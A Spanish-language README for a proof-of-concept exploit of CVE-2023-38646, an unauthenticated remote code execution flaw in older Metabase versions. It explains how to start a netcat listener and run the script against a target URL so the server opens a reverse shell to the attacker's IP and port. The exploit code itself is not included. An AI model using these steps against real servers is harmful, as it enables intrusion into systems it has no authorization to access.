Metabase Pre-Auth RCE POC - CVE-2023-38646

Metabase de código abierto anterior a 0.46.6.1 y Metabase Enterprise anterior a 1.46.6.1 permiten a los atacantes ejecutar comandos arbitrarios en el servidor. He escrito el script directamente para obtener una reverse shell en la máquina del atacante.

Uso

El script requiere la URL del objetivo, la IP y el puerto del atacante. No es necesario proporcionar el setup token para este exploit, ya que el script intenta obtenerlo de /api/session/properties.

Asegúrate de iniciar un listener de netcat en la máquina del atacante con el siguiente comando: nc -nlvp {Puerto}

Ejecuta el script POC con:

• -u - URL del objetivo (Metabase)
• -ip - IP del atacante
• -p - Número de puerto

python3 CVE-2023-38646.py -u <target-url> -ip <IP> -p <PORT>

Referencias

• https://github.com/m3m0o/metabase-pre-auth-rce-poc/
• https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/